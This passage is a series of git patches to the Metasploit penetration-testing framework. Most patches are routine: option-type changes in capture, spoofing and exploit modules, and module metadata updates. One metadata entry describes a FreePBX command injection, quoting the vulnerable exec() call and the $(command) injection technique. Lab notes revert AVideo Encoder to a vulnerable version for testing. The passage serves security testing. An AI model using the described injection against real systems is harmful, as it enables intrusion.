 modules/auxiliary/server/capture/sip.rb                       | 2 +-
 modules/auxiliary/server/capture/smb.rb                       | 2 +-
 modules/auxiliary/server/dns/spoofhelper.rb                   | 2 +-
 modules/auxiliary/server/fakedns.rb                           | 2 +-
 modules/auxiliary/server/netbios_spoof_nat.rb                 | 2 +-
 modules/auxiliary/server/tftp.rb                              | 2 +-
 modules/auxiliary/spoof/dns/native_spoofer.rb                 | 2 +-
 modules/exploits/freebsd/misc/citrix_netscaler_soap_bof.rb    | 2 +-
 modules/exploits/linux/misc/jenkins_ldap_deserialize.rb       | 2 +-
 modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb | 2 +-
 10 files changed, 10 insertions(+), 10 deletions(-)

diff --git a/modules/auxiliary/server/capture/sip.rb b/modules/auxiliary/server/capture/sip.rb
index 95279192af5d7..326b5fe98d9b5 100644
--- a/modules/auxiliary/server/capture/sip.rb
+++ b/modules/auxiliary/server/capture/sip.rb
@@ -32,7 +32,7 @@ def initialize
     register_options(
       [
         OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 5060 ]),
-        OptAddress.new('SRVHOST', [ true, 'The local host to listen on.', '0.0.0.0' ]),
+        OptAddressLocal.new('SRVHOST', [ true, 'The local host to listen on.', '0.0.0.0' ]),
         OptString.new('NONCE', [ true, 'The server byte nonce', '1234' ]),
         OptString.new('JOHNPWFILE', [ false, 'The prefix to the local filename to store the hashes in JOHN format', nil ]),
       ]
diff --git a/modules/auxiliary/server/capture/smb.rb b/modules/auxiliary/server/capture/smb.rb
index 90d1de90bbd70..60ca43393b49c 100644
--- a/modules/auxiliary/server/capture/smb.rb
+++ b/modules/auxiliary/server/capture/smb.rb
@@ -53,7 +53,7 @@ def initialize
         OptString.new('JOHNPWFILE', [ false, 'Name of file to store JohnTheRipper hashes in. Supports NTLMv1 and NTLMv2 hashes, each of which is stored in separate files. Can also be a path.', nil ]),
         OptString.new('CHALLENGE', [ false, 'The 8 byte server challenge. Set values must be a valid 16 character hexadecimal pattern. If unset a valid random challenge is used.' ], regex: /^([a-fA-F0-9]{16})$/),
         OptString.new('SMBDomain', [ true, 'The domain name used during SMB exchange.', 'WORKGROUP'], aliases: ['DOMAIN_NAME']),
-        OptAddress.new('SRVHOST', [ true, 'The local host to listen on.', '0.0.0.0' ]),
+        OptAddressLocal.new('SRVHOST', [ true, 'The local host to listen on.', '0.0.0.0' ]),
         OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 445 ]),
         OptInt.new('TIMEOUT', [ true, 'Seconds that the server socket will wait for a response after the client has initiated communication.', 5])
       ]
diff --git a/modules/auxiliary/server/dns/spoofhelper.rb b/modules/auxiliary/server/dns/spoofhelper.rb
index 01865f977395a..cccd77fed13e8 100644
--- a/modules/auxiliary/server/dns/spoofhelper.rb
+++ b/modules/auxiliary/server/dns/spoofhelper.rb
@@ -34,7 +34,7 @@ def initialize
 
     register_options(
       [
-        OptAddress.new('SRVHOST', [ true, 'The local host to listen on.', '0.0.0.0' ]),
+        OptAddressLocal.new('SRVHOST', [ true, 'The local host to listen on.', '0.0.0.0' ]),
         OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 53 ]),
       ]
     )
diff --git a/modules/auxiliary/server/fakedns.rb b/modules/auxiliary/server/fakedns.rb
index d2d4e759a34e0..2497ea2901f2c 100644
--- a/modules/auxiliary/server/fakedns.rb
+++ b/modules/auxiliary/server/fakedns.rb
@@ -28,7 +28,7 @@ def initialize
 
     register_options(
       [
-        OptAddress.new('SRVHOST', [ true, "The local host to listen on.", '0.0.0.0' ]),
+        OptAddressLocal.new('SRVHOST', [ true, "The local host to listen on.", '0.0.0.0' ]),
         OptPort.new('SRVPORT', [ true, "The local port to listen on.", 53 ]),
         OptAddress.new('TARGETHOST', [ false, "The address that all names should resolve to", nil ]),
         OptString.new('TARGETDOMAIN', [ true, "The list of target domain names we want to fully resolve (BYPASS) or fake resolve (FAKE). Use '*' for wildcard.", 'www.google.com']),
diff --git a/modules/auxiliary/server/netbios_spoof_nat.rb b/modules/auxiliary/server/netbios_spoof_nat.rb
index 62002b9e99123..96fcb86a504ea 100644
--- a/modules/auxiliary/server/netbios_spoof_nat.rb
+++ b/modules/auxiliary/server/netbios_spoof_nat.rb
@@ -52,7 +52,7 @@ def initialize
 
     register_options(
       [
-        OptAddress.new('SRVHOST', [ true, "The local host to listen on.", '0.0.0.0' ]),
+        OptAddressLocal.new('SRVHOST', [ true, "The local host to listen on.", '0.0.0.0' ]),
         OptPort.new('SRVPORT', [ true, "The local port to listen on.", 137 ]),
         OptString.new('NBNAME', [ true, "The NetBIOS name to spoof a reply for", 'WPAD' ]),
         OptAddress.new('NBADDR', [ true, "The address that the NetBIOS name should resolve to", Rex::Socket.source_address("50.50.50.50") ]),
diff --git a/modules/auxiliary/server/tftp.rb b/modules/auxiliary/server/tftp.rb
index 86950cafd05f7..53fc32f722ad9 100644
--- a/modules/auxiliary/server/tftp.rb
+++ b/modules/auxiliary/server/tftp.rb
@@ -28,7 +28,7 @@ def initialize
 
     register_options(
       [
-        OptAddress.new('SRVHOST', [ true, "The local host to listen on.", '0.0.0.0' ]),
+        OptAddressLocal.new('SRVHOST', [ true, "The local host to listen on.", '0.0.0.0' ]),
         OptPort.new('SRVPORT', [ true, "The local port to listen on.", 69 ]),
         OptPath.new('TFTPROOT', [ true, "The TFTP root directory to serve files from", Dir.tmpdir ]),
         OptPath.new('OUTPUTPATH', [ true, "The directory in which uploaded files will be written.", Dir.tmpdir ])
diff --git a/modules/auxiliary/spoof/dns/native_spoofer.rb b/modules/auxiliary/spoof/dns/native_spoofer.rb
index 9e096591e3784..fa66e96a2b481 100644
--- a/modules/auxiliary/spoof/dns/native_spoofer.rb
+++ b/modules/auxiliary/spoof/dns/native_spoofer.rb
@@ -45,7 +45,7 @@ def initialize(info = {})
     register_options(
       [
         OptString.new('FILTER', [false, 'The filter string for capturing traffic', 'dst port 53']),
-        OptAddress.new('SRVHOST', [true, 'The local host to listen on for DNS services.', '127.0.2.2'])
+        OptAddressLocal.new('SRVHOST', [true, 'The local host to listen on for DNS services.', '127.0.2.2'])
       ]
     )
 
diff --git a/modules/exploits/freebsd/misc/citrix_netscaler_soap_bof.rb b/modules/exploits/freebsd/misc/citrix_netscaler_soap_bof.rb
index dfd7f497dfe81..d7149380ac156 100644
--- a/modules/exploits/freebsd/misc/citrix_netscaler_soap_bof.rb
+++ b/modules/exploits/freebsd/misc/citrix_netscaler_soap_bof.rb
@@ -72,7 +72,7 @@ def initialize(info = {})
     register_options(
       [
         OptString.new('TARGETURI', [true, 'The base path to the soap handler', '/soap']),
-        OptAddress.new('SRVHOST', [true, 'The local host to listen on. This must be an address on the local machine reachable by the target', ]),
+        OptAddressLocal.new('SRVHOST', [true, 'The local host to listen on. This must be an address on the local machine reachable by the target', ]),
         OptPort.new('SRVPORT', [true, 'The local port to listen on.', 3010])
       ]
     )
diff --git a/modules/exploits/linux/misc/jenkins_ldap_deserialize.rb b/modules/exploits/linux/misc/jenkins_ldap_deserialize.rb
index 711994d1fc060..8ceabcf6e80b8 100644
--- a/modules/exploits/linux/misc/jenkins_ldap_deserialize.rb
+++ b/modules/exploits/linux/misc/jenkins_ldap_deserialize.rb
@@ -63,7 +63,7 @@ def initialize(info = {})
     register_options([
       OptString.new('TARGETURI', [true, 'The base path to Jenkins', '/']),
       Opt::RPORT('8080'),
-      OptAddress.new('SRVHOST', [ true, "The local host to listen on for the ldap server. This must be an address on the local machine or 0.0.0.0", '127.0.0.1' ]),
+      OptAddressLocal.new('SRVHOST', [ true, "The local host to listen on for the ldap server. This must be an address on the local machine or 0.0.0.0", '127.0.0.1' ]),
       OptPort.new('SRVPORT', [ true, "The local port to listen on for the ldap server.", 1389 ]),
       OptAddress.new('LDAPHOST', [ true, "The ldap host the exploit will try to connect to ", '127.0.0.1' ])
     ])
diff --git a/modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb b/modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb
index 16fdd91f2be40..91226395475b9 100644
--- a/modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb
+++ b/modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb
@@ -179,7 +179,7 @@ def initialize(info = {})
     register_options(
       [
         OptString.new('PrinterName', [true, 'The printer name', 'PrintToPDF'], regex: /^[a-zA-Z0-9_ ]+$/),
-        OptAddress.new('SRVHOST', [true, 'The local host to listen on (cannot be 0.0.0.0)']),
+        OptAddressLocal.new('SRVHOST', [true, 'The local host to listen on (cannot be 0.0.0.0)']),
         OptPort.new('SRVPORT', [true, 'The local port for the IPP service', 7575])
       ]
     )

From 6a831a0f58874b6b67e0bb1b6fa9b491281e42be Mon Sep 17 00:00:00 2001
From: g0t mi1k <have.you.g0tmi1k@gmail.com>
Date: Tue, 10 Mar 2026 11:07:19 +0000
Subject: [PATCH 084/103] autoroute.rb: OptAddress NETMASK - Drop CIDR

Credit: @smcintyre-r7

Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
---
 modules/post/multi/manage/autoroute.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/modules/post/multi/manage/autoroute.rb b/modules/post/multi/manage/autoroute.rb
index cffef85692ced..de126bf8ebe24 100644
--- a/modules/post/multi/manage/autoroute.rb
+++ b/modules/post/multi/manage/autoroute.rb
@@ -45,7 +45,7 @@ def initialize(info = {})
     register_options(
       [
         OptAddress.new('SUBNET', [false, 'Subnet (IPv4, for example, 10.10.10.0)', nil]),
-        OptAddress.new('NETMASK', [false, 'Netmask (IPv4 as "255.255.255.0" or CIDR as "/24"', '255.255.255.0']),
+        OptAddress.new('NETMASK', [false, 'Netmask (IPv4 as "255.255.255.0")', '255.255.255.0']),
         OptEnum.new('CMD', [true, 'Specify the autoroute command', 'autoadd', ['add', 'autoadd', 'print', 'delete', 'default']])
       ]
     )

From 33eb773a4d498b6c00285268cd4c4d08819c1963 Mon Sep 17 00:00:00 2001
From: g0t mi1k <have.you.g0tmi1k@gmail.com>
Date: Thu, 12 Mar 2026 17:29:21 +0000
Subject: [PATCH 085/103] dhcp_server: Check to validate for
 _determine_server_comm

Untested - As requested by @smcintyre-r7
---
 lib/msf/core/exploit/dhcp_server.rb | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/lib/msf/core/exploit/dhcp_server.rb b/lib/msf/core/exploit/dhcp_server.rb
index ce8eac1a4dfc6..e1aa584e8c98b 100644
--- a/lib/msf/core/exploit/dhcp_server.rb
+++ b/lib/msf/core/exploit/dhcp_server.rb
@@ -9,6 +9,7 @@ module Msf
 #
 ###
 module Exploit::DHCPServer
+  include ::Msf::Exploit::Remote::SocketServer
 
   def initialize(info = {})
     super(update_info(info,
@@ -47,6 +48,12 @@ def stop_service
     @dhcp.stop
   end
 
+  def validate
+     unless _determine_server_comm(datastore['SRVHOST']) == Rex::Socket::Comm::Local
+       raise Msf::OptionValidateError.new({ 'SRVHOST' => 'SRVHOST can not be forwarded via a session.' })
+     end
+  end
+
   attr_accessor :dhcp
 end
 

From 019b857a2b41c4d0b488e3c0ce703ea7354d192b Mon Sep 17 00:00:00 2001
From: jenkins-metasploit <jenkins-metasploit@build-production.r7ops.com>
Date: Thu, 12 Mar 2026 19:58:09 +0000
Subject: [PATCH 086/103] automatic module_metadata_base.json update

---
 db/modules_metadata_base.json | 46 +++++++++++++++++------------------
 1 file changed, 23 insertions(+), 23 deletions(-)

diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json
index 4da1e8b11f5b7..57c4eeddd8b62 100644
--- a/db/modules_metadata_base.json
+++ b/db/modules_metadata_base.json
@@ -3725,7 +3725,7 @@
       "https"
     ],
     "targets": null,
-    "mod_time": "2025-10-06 17:15:11 +0000",
+    "mod_time": "2026-02-15 20:36:01 +0000",
     "path": "/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb",
     "is_install_path": true,
     "ref_name": "admin/http/linksys_wrt54gl_exec",
@@ -61367,7 +61367,7 @@
     "autofilter_ports": [],
     "autofilter_services": [],
     "targets": null,
-    "mod_time": "2026-03-08 17:37:49 +0000",
+    "mod_time": "2026-02-15 20:36:50 +0000",
     "path": "/modules/auxiliary/server/capture/sip.rb",
     "is_install_path": true,
     "ref_name": "server/capture/sip",
@@ -61411,7 +61411,7 @@
     "autofilter_ports": [],
     "autofilter_services": [],
     "targets": null,
-    "mod_time": "2025-11-30 23:39:52 +0000",
+    "mod_time": "2026-02-15 20:36:50 +0000",
     "path": "/modules/auxiliary/server/capture/smb.rb",
     "is_install_path": true,
     "ref_name": "server/capture/smb",
@@ -61713,7 +61713,7 @@
     "autofilter_ports": [],
     "autofilter_services": [],
     "targets": null,
-    "mod_time": "2026-03-08 17:37:49 +0000",
+    "mod_time": "2026-02-15 20:36:50 +0000",
     "path": "/modules/auxiliary/server/dns/spoofhelper.rb",
     "is_install_path": true,
     "ref_name": "server/dns/spoofhelper",
@@ -61756,7 +61756,7 @@
     "autofilter_ports": [],
     "autofilter_services": [],
     "targets": null,
-    "mod_time": "2026-03-08 17:37:49 +0000",
+    "mod_time": "2026-02-15 20:36:50 +0000",
     "path": "/modules/auxiliary/server/fakedns.rb",
     "is_install_path": true,
     "ref_name": "server/fakedns",
@@ -61925,7 +61925,7 @@
     "autofilter_ports": [],
     "autofilter_services": [],
     "targets": null,
-    "mod_time": "2026-03-08 17:37:49 +0000",
+    "mod_time": "2026-02-15 20:36:01 +0000",
     "path": "/modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb",
     "is_install_path": true,
     "ref_name": "server/jsse_skiptls_mitm_proxy",
@@ -62099,7 +62099,7 @@
     "autofilter_ports": [],
     "autofilter_services": [],
     "targets": null,
-    "mod_time": "2026-03-08 17:37:49 +0000",
+    "mod_time": "2026-02-15 20:36:50 +0000",
     "path": "/modules/auxiliary/server/netbios_spoof_nat.rb",
     "is_install_path": true,
     "ref_name": "server/netbios_spoof_nat",
@@ -62140,7 +62140,7 @@
     "autofilter_ports": [],
     "autofilter_services": [],
     "targets": null,
-    "mod_time": "2026-03-08 17:37:49 +0000",
+    "mod_time": "2026-02-15 20:36:01 +0000",
     "path": "/modules/auxiliary/server/openssl_altchainsforgery_mitm_proxy.rb",
     "is_install_path": true,
     "ref_name": "server/openssl_altchainsforgery_mitm_proxy",
@@ -62223,7 +62223,7 @@
     "autofilter_ports": [],
     "autofilter_services": [],
     "targets": null,
-    "mod_time": "2025-06-20 13:20:44 +0000",
+    "mod_time": "2026-02-15 20:36:01 +0000",
     "path": "/modules/auxiliary/server/pxeexploit.rb",
     "is_install_path": true,
     "ref_name": "server/pxeexploit",
@@ -62622,7 +62622,7 @@
     "autofilter_ports": [],
     "autofilter_services": [],
     "targets": null,
-    "mod_time": "2026-03-08 17:37:49 +0000",
+    "mod_time": "2026-02-15 20:36:50 +0000",
     "path": "/modules/auxiliary/server/tftp.rb",
     "is_install_path": true,
     "ref_name": "server/tftp",
@@ -63087,7 +63087,7 @@
       "dns"
     ],
     "targets": null,
-    "mod_time": "2025-05-13 19:36:21 +0000",
+    "mod_time": "2026-02-15 20:36:50 +0000",
     "path": "/modules/auxiliary/spoof/dns/native_spoofer.rb",
     "is_install_path": true,
     "ref_name": "spoof/dns/native_spoofer",
@@ -68341,7 +68341,7 @@
     "targets": [
       "NetScaler Virtual Appliance 450010"
     ],
-    "mod_time": "2026-03-08 17:37:49 +0000",
+    "mod_time": "2026-02-15 20:36:50 +0000",
     "path": "/modules/exploits/freebsd/misc/citrix_netscaler_soap_bof.rb",
     "is_install_path": true,
     "ref_name": "freebsd/misc/citrix_netscaler_soap_bof",
@@ -73988,7 +73988,7 @@
       "Dlink DIR-818 / 822 / 823 / 850 [MIPS]",
       "Dlink DIR-868 (rev. B and C) / 880 / 885 / 890 / 895 [ARM]"
     ],
-    "mod_time": "2026-03-08 17:37:49 +0000",
+    "mod_time": "2026-02-15 20:36:01 +0000",
     "path": "/modules/exploits/linux/http/dlink_hnap_login_bof.rb",
     "is_install_path": true,
     "ref_name": "linux/http/dlink_hnap_login_bof",
@@ -77112,7 +77112,7 @@
     "targets": [
       "IBM QRadar SIEM <= 7.3.1 Patch 2 / 7.2.8 Patch 11"
     ],
-    "mod_time": "2026-03-08 17:37:49 +0000",
+    "mod_time": "2026-02-15 20:36:01 +0000",
     "path": "/modules/exploits/linux/http/ibm_qradar_unauth_rce.rb",
     "is_install_path": true,
     "ref_name": "linux/http/ibm_qradar_unauth_rce",
@@ -80882,7 +80882,7 @@
     "targets": [
       "Nagios XI <= 5.5.6"
     ],
-    "mod_time": "2025-06-20 13:20:44 +0000",
+    "mod_time": "2026-02-15 20:36:01 +0000",
     "path": "/modules/exploits/linux/http/nagios_xi_magpie_debug.rb",
     "is_install_path": true,
     "ref_name": "linux/http/nagios_xi_magpie_debug",
@@ -96647,7 +96647,7 @@
     "targets": [
       "Jenkins 2.31"
     ],
-    "mod_time": "2026-03-08 17:37:49 +0000",
+    "mod_time": "2026-02-15 20:36:50 +0000",
     "path": "/modules/exploits/linux/misc/jenkins_ldap_deserialize.rb",
     "is_install_path": true,
     "ref_name": "linux/misc/jenkins_ldap_deserialize",
@@ -111172,7 +111172,7 @@
       "Linux Universal",
       "Java Universal"
     ],
-    "mod_time": "2026-03-08 17:37:49 +0000",
+    "mod_time": "2026-02-15 20:36:35 +0000",
     "path": "/modules/exploits/multi/http/jboss_maindeployer.rb",
     "is_install_path": true,
     "ref_name": "multi/http/jboss_maindeployer",
@@ -115627,7 +115627,7 @@
       "Linux/Unix (Interactive Shell)",
       "Windows (Interactive Shell)"
     ],
-    "mod_time": "2026-03-08 17:37:49 +0000",
+    "mod_time": "2026-02-15 20:36:35 +0000",
     "path": "/modules/exploits/multi/http/oracle_ebs_cve_2025_61882_exploit_rce.rb",
     "is_install_path": true,
     "ref_name": "multi/http/oracle_ebs_cve_2025_61882_exploit_rce",
@@ -127348,7 +127348,7 @@
     "targets": [
       "Default"
     ],
-    "mod_time": "2026-03-08 17:37:49 +0000",
+    "mod_time": "2026-02-15 20:36:50 +0000",
     "path": "/modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb",
     "is_install_path": true,
     "ref_name": "multi/misc/cups_ipp_remote_code_execution",
@@ -194427,7 +194427,7 @@
     "targets": [
       "Windows Universal"
     ],
-    "mod_time": "2025-06-20 13:20:44 +0000",
+    "mod_time": "2026-02-15 20:36:01 +0000",
     "path": "/modules/exploits/windows/local/pxeexploit.rb",
     "is_install_path": true,
     "ref_name": "windows/local/pxeexploit",
@@ -205777,7 +205777,7 @@
     "targets": [
       "Rockwell Automation FactoryTalk SE"
     ],
-    "mod_time": "2026-03-08 17:37:49 +0000",
+    "mod_time": "2026-02-15 20:36:01 +0000",
     "path": "/modules/exploits/windows/scada/rockwell_factorytalk_rce.rb",
     "is_install_path": true,
     "ref_name": "windows/scada/rockwell_factorytalk_rce",
@@ -278323,7 +278323,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2025-05-01 02:32:23 +0000",
+    "mod_time": "2026-03-10 11:07:19 +0000",
     "path": "/modules/post/multi/manage/autoroute.rb",
     "is_install_path": true,
     "ref_name": "multi/manage/autoroute",
@@ -289738,7 +289738,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2025-05-21 10:45:08 +0000",
+    "mod_time": "2026-02-15 20:36:01 +0000",
     "path": "/modules/post/windows/manage/pxeexploit.rb",
     "is_install_path": true,
     "ref_name": "windows/manage/pxeexploit",

From ee3d2da6e86f4c1ce3e0c5334c82292d396c23f6 Mon Sep 17 00:00:00 2001
From: jenkins-metasploit <jenkins-metasploit@build-production.r7ops.com>
Date: Fri, 13 Mar 2026 00:33:09 +0000
Subject: [PATCH 087/103] automatic module_metadata_base.json update

---
 db/modules_metadata_base.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json
index 57c4eeddd8b62..4f6fbd7a18074 100644
--- a/db/modules_metadata_base.json
+++ b/db/modules_metadata_base.json
@@ -70855,7 +70855,7 @@
       "Harsh Jaiswal",
       "Jonah Burgess (CryptoCat)"
     ],
-    "description": "This exploit achieves unauthenticated remote code execution against BeyondTrust Privileged Remote\n          Access (PRA) and Remote Support (RS). It leverages three different vulnerabilities depending on the\n          user-selected target.\n\n          The default target leverages CVE-2026-1731, a direct command injection affecting RS versions 25.3.1\n          and prior, and PRA versions 24.3.4 and prior.\n\n          Alternatively, the module can leverage a chain of CVE-2025-1094 (SQL injection in PostgreSQL)\n          and CVE-2024-12356 (argument injection), affecting RS and PRA versions 24.3.1 and prior.\n\n          Exploitation occurs with the privileges of the site user of the targeted BeyondTrust product site.",
+    "description": "This exploit achieves unauthenticated remote code execution against BeyondTrust Privileged Remote\n          Access (PRA) and Remote Support (RS). The module targets CVE-2026-1731, a direct command injection affecting RS versions 25.3.1 and prior, and PRA versions 24.3.4 and prior.\n          Exploitation occurs with the privileges of the site user of the targeted BeyondTrust product site.",
     "references": [
       "CVE-2026-1731",
       "URL-https://www.beyondtrust.com/trust-center/security-advisories/bt26-02",
@@ -70882,7 +70882,7 @@
     "targets": [
       "Command Injection"
     ],
-    "mod_time": "2026-02-24 16:16:05 +0000",
+    "mod_time": "2026-03-03 15:42:15 +0000",
     "path": "/modules/exploits/linux/http/beyondtrust_pra_rs_command_injection.rb",
     "is_install_path": true,
     "ref_name": "linux/http/beyondtrust_pra_rs_command_injection",

From 29d876e38c55801e6413274fc6d6784f87b81c6c Mon Sep 17 00:00:00 2001
From: jenkins-metasploit <jenkins-metasploit@build-production.r7ops.com>
Date: Fri, 13 Mar 2026 10:10:52 +0000
Subject: [PATCH 088/103] automatic module_metadata_base.json update

---
 db/modules_metadata_base.json | 66 +++++++++++++++++++++++++++++++++--
 1 file changed, 63 insertions(+), 3 deletions(-)

diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json
index 4f6fbd7a18074..2f06f37bf64b7 100644
--- a/db/modules_metadata_base.json
+++ b/db/modules_metadata_base.json
@@ -47948,7 +47948,7 @@
       "https"
     ],
     "targets": null,
-    "mod_time": "2025-07-16 22:59:48 +0000",
+    "mod_time": "2025-11-23 00:36:21 +0000",
     "path": "/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb",
     "is_install_path": true,
     "ref_name": "scanner/http/xorcom_completepbx_diagnostics_file_read",
@@ -48004,7 +48004,7 @@
       "https"
     ],
     "targets": null,
-    "mod_time": "2025-07-16 22:59:48 +0000",
+    "mod_time": "2025-11-23 00:36:21 +0000",
     "path": "/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb",
     "is_install_path": true,
     "ref_name": "scanner/http/xorcom_completepbx_file_disclosure",
@@ -89865,7 +89865,7 @@
     "targets": [
       "Unix/Linux Command Shell"
     ],
-    "mod_time": "2025-12-17 16:12:31 +0000",
+    "mod_time": "2025-11-23 00:36:21 +0000",
     "path": "/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb",
     "is_install_path": true,
     "ref_name": "linux/http/xorcom_completepbx_scheduler",
@@ -135201,6 +135201,66 @@
     "session_types": false,
     "needs_cleanup": null
   },
+  "exploit_unix/http/freepbx_filestore_cmd_injection": {
+    "name": "FreePBX filestore authenticated command injection",
+    "fullname": "exploit/unix/http/freepbx_filestore_cmd_injection",
+    "aliases": [],
+    "rank": 600,
+    "disclosure_date": "2025-11-08",
+    "type": "exploit",
+    "author": [
+      "Cory Billington",
+      "Valentin Lobstein <chocapikk@leakix.net>"
+    ],
+    "description": "This module exploits an authenticated command injection vulnerability (CVE-2025-64328) in the\n          FreePBX filestore module. The filestore module allows administrators to configure remote file\n          storage backends (SSH, FTP, etc.) for backup and file management purposes.\n\n          The vulnerability exists in the SSH driver's testconnection functionality, specifically in the\n          check_ssh_connect() function located at /admin/modules/filestore/drivers/SSH/testconnection.php.\n          The function accepts user-controlled input for the SSH key path parameter, which is then passed\n          unsanitized to exec() calls when generating SSH keys.\n\n          The vulnerable code executes commands such as:\n          exec(\"ssh-keygen -t ecdsa -b 521 -f $key -N \\\"\\\" && chown asterisk:asterisk $key && chmod 600 $key\");\n\n          By injecting shell command substitution syntax (e.g., $(command)) into the key parameter, an\n          authenticated user can execute arbitrary commands on the underlying system with the privileges of\n          the web server process (typically the asterisk user).\n\n          This vulnerability affects filestore module versions 17.0.2.36 through 17.0.2.44 (introduced in\n          17.0.2.36, patched in 17.0.3). The module requires valid FreePBX credentials for a user account that\n          has access to the filestore module. The user must be in the \"Filestore\" group (administrator or\n          low-privilege user).\n\n          Note: Due to the vulnerable code structure, the injected command may be executed multiple times,\n          potentially resulting in multiple Meterpreter sessions.",
+    "references": [
+      "CVE-2025-64328",
+      "GHSA-vm9p-46mv-5xvw",
+      "URL-https://theyhack.me/CVE-2025-64328-FreePBX-Authenticated-Command-Injection/"
+    ],
+    "platform": "Linux,Unix",
+    "arch": "cmd",
+    "rport": 80,
+    "autofilter_ports": [
+      80,
+      8080,
+      443,
+      8000,
+      8888,
+      8880,
+      8008,
+      3000,
+      8443
+    ],
+    "autofilter_services": [
+      "http",
+      "https"
+    ],
+    "targets": [
+      "Unix Command"
+    ],
+    "mod_time": "2026-03-11 20:09:52 +0000",
+    "path": "/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb",
+    "is_install_path": true,
+    "ref_name": "unix/http/freepbx_filestore_cmd_injection",
+    "check": true,
+    "post_auth": true,
+    "default_credential": false,
+    "notes": {
+      "Stability": [
+        "crash-safe"
+      ],
+      "Reliability": [
+        "repeatable-session"
+      ],
+      "SideEffects": [
+        "artifacts-on-disk",
+        "ioc-in-logs"
+      ]
+    },
+    "session_types": false,
+    "needs_cleanup": null
+  },
   "exploit_unix/http/freepbx_firmware_file_upload": {
     "name": "FreePBX firmware file upload",
     "fullname": "exploit/unix/http/freepbx_firmware_file_upload",

From 8d44dcd1fb5c3e97faa7564fb63782ebe0996b43 Mon Sep 17 00:00:00 2001
From: Valentin Lobstein <balgogan@protonmail.com>
Date: Fri, 13 Mar 2026 22:55:23 +0100
Subject: [PATCH 089/103] Fix: Lab setup documentation for first-time
 environments

- Fix DB permissions (bind mount creates files as www-data instead of mysql)
- Force table creation (cli.php skips it when configuration.php already exists)
- Revert entire Encoder working tree, not just getImage.php (78178d1 patched multiple files)
- Run git checkout from inside the container to avoid safe.directory issues
---
 .../avideo_encoder_getimage_cmd_injection.md  | 34 ++++++++++++++-----
 1 file changed, 26 insertions(+), 8 deletions(-)

diff --git a/documentation/modules/exploit/linux/http/avideo_encoder_getimage_cmd_injection.md b/documentation/modules/exploit/linux/http/avideo_encoder_getimage_cmd_injection.md
index df31d4d8fe715..784c9a6a049a1 100644
--- a/documentation/modules/exploit/linux/http/avideo_encoder_getimage_cmd_injection.md
+++ b/documentation/modules/exploit/linux/http/avideo_encoder_getimage_cmd_injection.md
@@ -32,8 +32,8 @@ shell metacharacter stripping.
 ### Setup
 
 This lab reuses the same AVideo Docker environment as the `avideo_notify_ffmpeg_unauth_rce`
-module, with one additional step: replacing the patched `getImage.php` with the pre-patch
-(vulnerable) version.
+module, with one additional step: reverting the Encoder to the pre-patch (vulnerable)
+version.
 
 1. Clone the AVideo repository and checkout the vulnerable commit:
 
@@ -94,17 +94,35 @@ docker compose build database database_encoder
 docker compose up -d
 ```
 
-5. Wait for the services to be ready and access the application at `http://localhost`.
+5. Wait for the `avideo` container to finish its entrypoint (this takes 1-2 minutes).
+The entrypoint clones the Encoder repo into `.compose/encoder` and runs the database
+installer. However, the Docker image ships with a pre-existing `configuration.php`, so
+the CLI installer skips table creation. Fix the database permissions and initialize the
+tables manually:
 
-6. Replace the Encoder's `getImage.php` with the pre-patch (vulnerable) version.
+```bash
+docker exec avideo-database-1 chown -R mysql:mysql /var/lib/mysql/
+
+docker exec avideo-avideo-1 bash -c "
+  mv /var/www/html/AVideo/videos/configuration.php /var/www/html/AVideo/videos/configuration.php.bak
+  cd /var/www/html/AVideo/install && php cli.php
+  mv /var/www/html/AVideo/videos/configuration.php.bak /var/www/html/AVideo/videos/configuration.php
+"
+```
+
+Verify that `http://localhost` returns the AVideo interface before proceeding.
+
+6. Revert the Encoder to the pre-patch (vulnerable) version.
 The `.compose/encoder` directory is a git clone of
 [WWBN/AVideo-Encoder](https://github.com/WWBN/AVideo-Encoder), created automatically
-by the container entrypoint:
+by the container entrypoint. The security fix in commit `78178d1` patched multiple files
+(not just `getImage.php`), so the entire working tree must be reverted:
 
 ```bash
-cd .compose/encoder
-git checkout c9861e9c -- objects/getImage.php
-cd ../..
+docker exec avideo-avideo-1 bash -c "
+  git config --global --add safe.directory /var/www/html/AVideo/Encoder
+  cd /var/www/html/AVideo/Encoder && git checkout c9861e9c -- .
+"
 docker compose restart avideo
 ```
 

From 8ad5924bf1b517b842b44e97a0efec6f4af5c961 Mon Sep 17 00:00:00 2001
From: Valentin Lobstein <balgogan@protonmail.com>
Date: Fri, 13 Mar 2026 22:59:51 +0100
Subject: [PATCH 090/103] Fix: Use parent of fix commit (78178d1~1) for
 vulnerable Encoder checkout

---
 .../exploit/linux/http/avideo_encoder_getimage_cmd_injection.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/documentation/modules/exploit/linux/http/avideo_encoder_getimage_cmd_injection.md b/documentation/modules/exploit/linux/http/avideo_encoder_getimage_cmd_injection.md
index 784c9a6a049a1..2db409e4eba9d 100644
--- a/documentation/modules/exploit/linux/http/avideo_encoder_getimage_cmd_injection.md
+++ b/documentation/modules/exploit/linux/http/avideo_encoder_getimage_cmd_injection.md
